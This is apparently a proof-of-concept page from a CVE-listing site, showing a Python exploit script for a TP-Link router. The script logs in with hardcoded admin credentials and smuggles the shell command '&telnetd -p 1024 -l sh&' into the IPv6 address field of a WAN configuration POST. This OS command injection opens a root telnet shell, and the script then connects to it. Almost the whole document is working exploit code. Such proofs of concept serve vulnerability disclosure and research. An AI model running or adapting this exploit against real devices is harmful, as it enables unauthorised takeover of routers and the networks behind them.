4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import requests
import base64
import os

tplink_user = "admin"
tplink_pass = "kj876fsd562489"
tplink_ip = "192.168.0.1"

tplink_url = "http://" + tplink_ip + "/cgi?2&2"
creds = tplink_user + ":" + tplink_pass
cookie = "Authorization=Basic " + base64.b64encode(creds.encode()).decode("ascii")
referer = "http://" + tplink_ip +"/mainFrame.htm"
post_exploit_cmd = "telnet " + tplink_ip + " 1024"

payload_template = """[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,1\r
X_TP_lastUsedIntf=ipoe_eth3_s\r
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,21\r
externalIPAddress=192.168.9.222\r
subnetMask=255.255.255.0\r
defaultGateway=192.168.9.2\r
NATEnabled=1\r
X_TP_FullconeNATEnabled=0\r
X_TP_FirewallEnabled=1\r
X_TP_IGMPProxyEnabled=1\r
X_TP_IGMPForceVersion=0\r
maxMTUSize=1500\r
DNSOverrideAllowed=1\r
DNSServers=192.168.9.3,0.0.0.0\r
X_TP_IPv4Enabled=1\r
X_TP_IPv6Enabled=0\r
X_TP_IPv6AddressingType=Static\r
X_TP_ExternalIPv6Address=OS_INJECTION_HERE\r
X_TP_PrefixLength=64\r
X_TP_DefaultIPv6Gateway=::\r
X_TP_IPv6DNSOverrideAllowed=0\r
X_TP_IPv6DNSServers=::,::\r
X_TP_MLDProxyEnabled=0\r
enable=1\r
"""

payload = payload_template.replace("OS_INJECTION_HERE", "::")
res = requests.post(tplink_url, data=payload, headers={"Referer": referer, "Cookie": cookie})
html = res.content.decode("utf-8")
print(html)

payload = payload_template.replace("OS_INJECTION_HERE", "&telnetd -p 1024 -l sh&")
res = requests.post(tplink_url, data=payload, headers={"Referer": referer, "Cookie": cookie})
html = res.content.decode("utf-8")
print(html)

print("Run post_exploit_cmd")
os.system(post_exploit_cmd)